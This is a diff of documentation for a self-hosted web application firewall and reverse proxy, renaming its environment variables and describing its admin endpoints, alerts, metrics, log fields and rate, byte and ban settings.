- Go, for `gofmt` and to build `golines`;
|
||||||
|
- `golines`, at a pinned version, with `go install`;
|
||||||
- node, yarn and prettier.
|
- node, yarn and prettier.
|
||||||
- `script/setup`: readies a fresh clone: `script/bootstrap`, then
|
- `script/setup`: readies a fresh clone: `script/bootstrap`, then
|
||||||
`script/install-precommit`. `make setup`.
|
`script/install-precommit`. `make setup`.
|
||||||
@@ -731,8 +729,11 @@ on the host.
|
|||||||
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
||||||
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
||||||
`make lint`.
|
`make lint`.
|
||||||
- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
|
- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and
|
||||||
`make fmt`.
|
the Markdown with prettier. `make fmt`.
|
||||||
|
- `golines` wraps code at 77 columns but leaves comments and strings alone.
|
||||||
|
Wrap those by hand.
|
||||||
|
- The linter fails only lines longer than 88 columns.
|
||||||
- `script/fmt-check`: checks the formatting and changes nothing.
|
- `script/fmt-check`: checks the formatting and changes nothing.
|
||||||
`make fmt-check`.
|
`make fmt-check`.
|
||||||
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
|
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
|
||||||
|
|||||||
@@ -5,16 +5,16 @@ answers them at its own address, on the private network. "Admin endpoints" in
|
|||||||
[`SPEC.md`](../SPEC.md) says how their tokens work.
|
[`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||||
|
|
||||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||||
- `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see
|
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
||||||
[`metrics.md`](metrics.md)).
|
[`metrics.md`](metrics.md)).
|
||||||
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
||||||
Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below.
|
Needs `SWW_ADMIN_TOKEN`, as do the three below.
|
||||||
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
||||||
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
||||||
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
||||||
(`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration
|
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
|
||||||
such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying
|
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
|
||||||
what is wrong:
|
wrong:
|
||||||
- one that is not such an object, or has another field;
|
- one that is not such an object, or has another field;
|
||||||
- one longer than 4 KiB;
|
- one longer than 4 KiB;
|
||||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||||
@@ -38,7 +38,7 @@ answered `404`, so that the app never sees that prefix (see "`rproxy`" in
|
|||||||
|
|
||||||
## Examples
|
## Examples
|
||||||
|
|
||||||
With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
|
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
|
||||||
`waf:8080` on its network:
|
`waf:8080` on its network:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
|
|||||||
+4
-4
@@ -78,8 +78,8 @@ on one line:
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
- `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised.
|
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||||
`event`: one of the events above.
|
one of the events above.
|
||||||
- `host`: the site of the request that raised the alert, since one `waf` serves
|
- `host`: the site of the request that raised the alert, since one `waf` serves
|
||||||
many sites. It is left out of `source_failure`, `file_error` and `summary`.
|
many sites. It is left out of `source_failure`, `file_error` and `summary`.
|
||||||
- `client`: the address whose request raised the alert. Empty for
|
- `client`: the address whose request raised the alert. Empty for
|
||||||
@@ -122,8 +122,8 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
|
|||||||
escaped. ntfy gets the text as the message, with these headers:
|
escaped. ntfy gets the text as the message, with these headers:
|
||||||
|
|
||||||
- `Title`: the title;
|
- `Title`: the title;
|
||||||
- `Authorization`: the token, as `Bearer <token>`, while
|
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
|
||||||
`SWW_WAF_ALERT_NTFY_TOKEN` is set;
|
is set;
|
||||||
- `Priority` and `Tags`: by event, as listed below.
|
- `Priority` and `Tags`: by event, as listed below.
|
||||||
|
|
||||||
The priority and tag by event:
|
The priority and tag by event:
|
||||||
|
|||||||
+1
-1
@@ -20,7 +20,7 @@ way.
|
|||||||
`share/sww.run`.
|
`share/sww.run`.
|
||||||
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
||||||
default rule file `share/rules.d/00-default.rules`. The `run` script makes
|
default rule file `share/rules.d/00-default.rules`. The `run` script makes
|
||||||
`SWW_WAF_STATE_DIR` when it is missing.
|
`SWW_STATE_DIR` when it is missing.
|
||||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||||
|
|
||||||
## Pins
|
## Pins
|
||||||
|
|||||||
+2
-2
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
|
|||||||
`honor_labels: true`. `rproxy` has no metrics.
|
`honor_labels: true`. `rproxy` has no metrics.
|
||||||
|
|
||||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||||
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
|
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
||||||
|
|
||||||
## Traffic
|
## Traffic
|
||||||
|
|
||||||
@@ -33,7 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
|
|||||||
|
|
||||||
## Countries and AS numbers
|
## Countries and AS numbers
|
||||||
|
|
||||||
For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
|
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||||
|
|
||||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||||
|
|||||||
+15
-17
@@ -43,7 +43,7 @@ Every one of these lines has:
|
|||||||
|
|
||||||
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
|
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
|
||||||
in UTC. The `report` line gives the same time as the `decision` line.
|
in UTC. The `report` line gives the same time as the `decision` line.
|
||||||
- `instance`: `SWW_WAF_INSTANCE_NAME`.
|
- `instance`: `SWW_INSTANCE_NAME`.
|
||||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||||
- `method`, `path` and `query`: the visitor's request.
|
- `method`, `path` and `query`: the visitor's request.
|
||||||
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
||||||
@@ -80,8 +80,8 @@ Every one of these lines has:
|
|||||||
- GeoJS had not answered by the time `waf` answered.
|
- GeoJS had not answered by the time `waf` answered.
|
||||||
- `content_type`: the visitor's `Content-Type`.
|
- `content_type`: the visitor's `Content-Type`.
|
||||||
- `content_length`: the body length the visitor announced.
|
- `content_length`: the body length the visitor announced.
|
||||||
- `request_headers`: the headers listed in `SWW_WAF_LOG_REQUEST_HEADERS`, by
|
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
||||||
name in lower case.
|
lower case.
|
||||||
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
||||||
Their values are never logged.
|
Their values are never logged.
|
||||||
|
|
||||||
@@ -94,8 +94,8 @@ Every one of these lines has:
|
|||||||
|
|
||||||
- `action`: what was done:
|
- `action`: what was done:
|
||||||
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
||||||
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
|
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
|
||||||
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
|
the action `deny`, or for a tag in `SWW_TAG_DENY`;
|
||||||
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
||||||
rule, a trap path or a CrowdSec decision that made such a ban;
|
rule, a trap path or a CrowdSec decision that made such a ban;
|
||||||
- `permanently_banned`: refused under a ban that never runs out, including a
|
- `permanently_banned`: refused under a ban that never runs out, including a
|
||||||
@@ -112,23 +112,21 @@ Every one of these lines has:
|
|||||||
is left out when none did.
|
is left out when none did.
|
||||||
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
||||||
heuristic and its figures:
|
heuristic and its figures:
|
||||||
- `deny_nets`: `netblock`, the entry of `SWW_WAF_DENY_NETS` the client is
|
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
|
||||||
in;
|
|
||||||
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
||||||
- `countries`: `country`, and `setting`, the country list that refused it;
|
- `countries`: `country`, and `setting`, the country list that refused it;
|
||||||
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
|
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
|
||||||
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
||||||
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
||||||
decision ends;
|
decision ends;
|
||||||
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
||||||
masked;
|
masked;
|
||||||
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
|
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
|
||||||
- `rate_limits`: `window`, `count` and `limit`;
|
- `rate_limits`: `window`, `count` and `limit`;
|
||||||
- `trap_paths`: `path`, the trap path asked for;
|
- `trap_paths`: `path`, the trap path asked for;
|
||||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||||
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||||
- `core_rule_set`: `score`, and `threshold`,
|
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
||||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
|
|
||||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||||
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
||||||
@@ -148,7 +146,7 @@ Every one of these lines has:
|
|||||||
holds:
|
holds:
|
||||||
- `minute`, `hour` and `day`: requests;
|
- `minute`, `hour` and `day`: requests;
|
||||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||||
`SWW_WAF_BYTES_COUNT` names, in that window.
|
`SWW_BYTES_COUNT` names, in that window.
|
||||||
|
|
||||||
A count can have a fraction (see "Counting method" in
|
A count can have a fraction (see "Counting method" in
|
||||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||||
@@ -158,7 +156,7 @@ Every one of these lines has:
|
|||||||
- `limit_hit`: the limit broken:
|
- `limit_hit`: the limit broken:
|
||||||
- `minute`, `hour` or `day` for a rate limit;
|
- `minute`, `hour` or `day` for a rate limit;
|
||||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||||
- `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
|
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
|
||||||
|
|
||||||
When the bytes counted for a request and its response break a limit, the
|
When the bytes counted for a request and its response break a limit, the
|
||||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||||
@@ -176,7 +174,7 @@ Every one of these lines has:
|
|||||||
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
||||||
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
||||||
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
||||||
present only while `SWW_WAF_ROUTEWATCH_URL` is set:
|
present only while `SWW_ROUTEWATCH_URL` is set:
|
||||||
- `no_answer_yet`: routewatch has not answered about this client yet;
|
- `no_answer_yet`: routewatch has not answered about this client yet;
|
||||||
- `request_failed`: a query to routewatch failed within the last minute, and
|
- `request_failed`: a query to routewatch failed within the last minute, and
|
||||||
the process log says why;
|
the process log says why;
|
||||||
@@ -233,13 +231,13 @@ meanings where they differ:
|
|||||||
was sooner. It includes the wait for `waf`.
|
was sooner. It includes the wait for `waf`.
|
||||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||||
is `waf`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`. It is
|
is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out
|
||||||
left out when:
|
when:
|
||||||
- `waf` was not asked, as for the health check;
|
- `waf` was not asked, as for the health check;
|
||||||
- the visitor went away while `waf` was being asked;
|
- the visitor went away while `waf` was being asked;
|
||||||
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
||||||
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
||||||
- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
|
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
||||||
`disposition`, and otherwise left out.
|
`disposition`, and otherwise left out.
|
||||||
|
|
||||||
For example:
|
For example:
|
||||||
|
|||||||
+244
-252
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
|
|||||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||||
that take `off`, the `_FILE` form, and what each group does and why.
|
that take `off`, the `_FILE` form, and what each group does and why.
|
||||||
|
|
||||||
The settings that start with `SWW_WAF_` are `waf`'s. Those that start with
|
The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_`
|
||||||
`SWW_RPROXY_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND`
|
are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between
|
||||||
chooses between the two (see "The image's command" below).
|
the two (see "The image's command" below).
|
||||||
|
|
||||||
## Forms of values
|
## Forms of values
|
||||||
|
|
||||||
@@ -28,100 +28,98 @@ chooses between the two (see "The image's command" below).
|
|||||||
|
|
||||||
## Core
|
## Core
|
||||||
|
|
||||||
- `SWW_WAF_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port,
|
- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such
|
||||||
such as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
|
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
||||||
name in each line `waf` logs, and in each alert and metric, such as
|
in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`.
|
||||||
`fsn1/waf`. Valid UTF-8. No control character while `SWW_WAF_ALERT_NTFY_URL`
|
Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48
|
||||||
is set. 1 to 48 printable ASCII characters without a space while
|
printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set
|
||||||
`SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME` is not.
|
and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||||
- `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
|
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
||||||
- `SWW_WAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
|
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
||||||
client's group, from 32 to 128.
|
group, from 32 to 128.
|
||||||
- `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
|
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||||
whole number above zero.
|
number above zero.
|
||||||
- `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a
|
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole
|
||||||
whole number above zero.
|
number above zero.
|
||||||
|
|
||||||
## Tokens
|
## Tokens
|
||||||
|
|
||||||
- `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||||
`/_sww/clients/<ip>`. At least 32 characters.
|
`/_sww/clients/<ip>`. At least 32 characters.
|
||||||
- `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At
|
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
||||||
least 32 characters.
|
32 characters.
|
||||||
|
|
||||||
## State and cache files
|
## State and cache files
|
||||||
|
|
||||||
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||||
files, an absolute path that can be written. The image's `run` script makes
|
absolute path that can be written. The image's `run` script makes it.
|
||||||
it.
|
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||||
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
|
||||||
written after a ban is made, lifted or made permanent. A duration.
|
written after a ban is made, lifted or made permanent. A duration.
|
||||||
- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and
|
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
|
||||||
cache file is written. A duration.
|
file is written. A duration.
|
||||||
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
|
- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
|
||||||
files, an absolute path that can be written. The image's `run` script makes
|
an absolute path that can be written. The image's `run` script makes it.
|
||||||
it.
|
|
||||||
|
|
||||||
## Logging
|
## Logging
|
||||||
|
|
||||||
- `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
|
- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
|
||||||
that are written: `debug`, `info`, `warn` or `error`.
|
that are written: `debug`, `info`, `warn` or `error`.
|
||||||
- `SWW_WAF_LOG_REQUEST_HEADERS` (default
|
- `SWW_LOG_REQUEST_HEADERS` (default
|
||||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||||
request headers recorded in the log line, in either case. `Host` and
|
request headers recorded in the log line, in either case. `Host` and
|
||||||
`Transfer-Encoding` are refused; the host is the field `host`.
|
`Transfer-Encoding` are refused; the host is the field `host`.
|
||||||
- `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||||
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
||||||
each with a host and a port and nothing more.
|
each with a host and a port and nothing more.
|
||||||
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
|
||||||
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
a `syslog+tls` server's certificate must chain to, instead of the host's own.
|
||||||
own. A file that cannot be read, or holds no certificate, is refused.
|
A file that cannot be read, or holds no certificate, is refused.
|
||||||
- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
|
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
|
||||||
wait to be sent, a whole number above zero.
|
to be sent, a whole number above zero.
|
||||||
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||||
- `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name
|
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
|
||||||
in each syslog record, 1 to 48 printable ASCII characters without a space.
|
syslog record, 1 to 48 printable ASCII characters without a space.
|
||||||
|
|
||||||
## Metrics
|
## Metrics
|
||||||
|
|
||||||
- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
|
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
|
||||||
countries get series of their own. A whole number above zero.
|
get series of their own. A whole number above zero.
|
||||||
|
|
||||||
## Static lists
|
## Static lists
|
||||||
|
|
||||||
- `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
|
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
|
||||||
monitoring (see step 4 in [`SPEC.md`](../SPEC.md)).
|
(see step 4 in [`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||||
exempt from rate limiting and the byte limits.
|
exempt from rate limiting and the byte limits.
|
||||||
- `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
|
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
|
||||||
step 4 in [`SPEC.md`](../SPEC.md)).
|
4 in [`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## Request rate limits, per client
|
## Request rate limits, per client
|
||||||
|
|
||||||
The request past one of these limits is refused, and the client is banned.
|
The request past one of these limits is refused, and the client is banned.
|
||||||
|
|
||||||
- `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests
|
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
|
||||||
a client may make in a minute. A count or `off`. The default leaves room for a
|
client may make in a minute. A count or `off`. The default leaves room for a
|
||||||
person opening two pages at once with an empty cache, up to 60 files each.
|
person opening two pages at once with an empty cache, up to 60 files each.
|
||||||
- `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||||
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
||||||
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
||||||
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
||||||
limit.
|
limit.
|
||||||
- `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
|
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
|
||||||
make in a day. A count or `off`. The default is four hours at the hour limit.
|
in a day. A count or `off`. The default is four hours at the hour limit. A
|
||||||
A scraper making one request every 10 seconds makes 8,640 a day, more than the
|
scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||||
limit.
|
limit.
|
||||||
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
||||||
the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||||
network where many people share one address, such as an office.
|
network where many people share one address, such as an office.
|
||||||
- Counting cannot catch a client that stays under all three limits (see "Request
|
- Counting cannot catch a client that stays under all three limits (see "Request
|
||||||
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
|
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
|
||||||
rate limiting and the byte limits, such as `/assets/`.
|
limiting and the byte limits, such as `/assets/`.
|
||||||
|
|
||||||
## Byte limits, per client
|
## Byte limits, per client
|
||||||
|
|
||||||
@@ -131,240 +129,236 @@ counted for a request and its response are added to the client's total once the
|
|||||||
response has ended. The request that takes a client's total past a limit is not
|
response has ended. The request that takes a client's total past a limit is not
|
||||||
cut off; the client is banned.
|
cut off; the client is banned.
|
||||||
|
|
||||||
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
|
||||||
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
|
||||||
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
|
||||||
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
|
which bytes count: response bodies, request bodies or both. The request that
|
||||||
count: response bodies, request bodies or both. The request that passes the
|
passes the limit is not cut off, and the client is banned when its response
|
||||||
limit is not cut off, and the client is banned when its response ends.
|
ends.
|
||||||
- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
|
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
|
||||||
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
thresholds count: `response`, the app's response bodies; `request`, the
|
||||||
the visitors' request bodies; or `both`. What the visitor sent over a
|
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
|
||||||
WebSocket counts as request bytes, and what the app sent as response bytes.
|
counts as request bytes, and what the app sent as response bytes.
|
||||||
|
|
||||||
## Lookup of AS number and country
|
## Lookup of AS number and country
|
||||||
|
|
||||||
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
|
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
|
||||||
stops the start while a setting that needs a lookup is set:
|
the start while a setting that needs a lookup is set:
|
||||||
